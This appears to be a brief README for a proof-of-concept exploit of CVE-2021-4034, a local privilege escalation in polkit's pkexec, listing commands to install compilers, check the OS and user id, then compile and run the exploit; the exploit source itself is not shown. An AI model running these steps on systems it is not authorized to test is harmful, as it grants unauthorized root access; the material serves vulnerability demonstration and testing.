
Proof-of-concept exploit for CVE-2021-4034, a local privilege escalation in polkit's pkexec, providing code to demonstrate the vulnerability.
sudo apt install golang-go
sudo apt install gccgo-go
grep PRETTY /etc/os-release
id
gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
./cve-2021-4034-poc
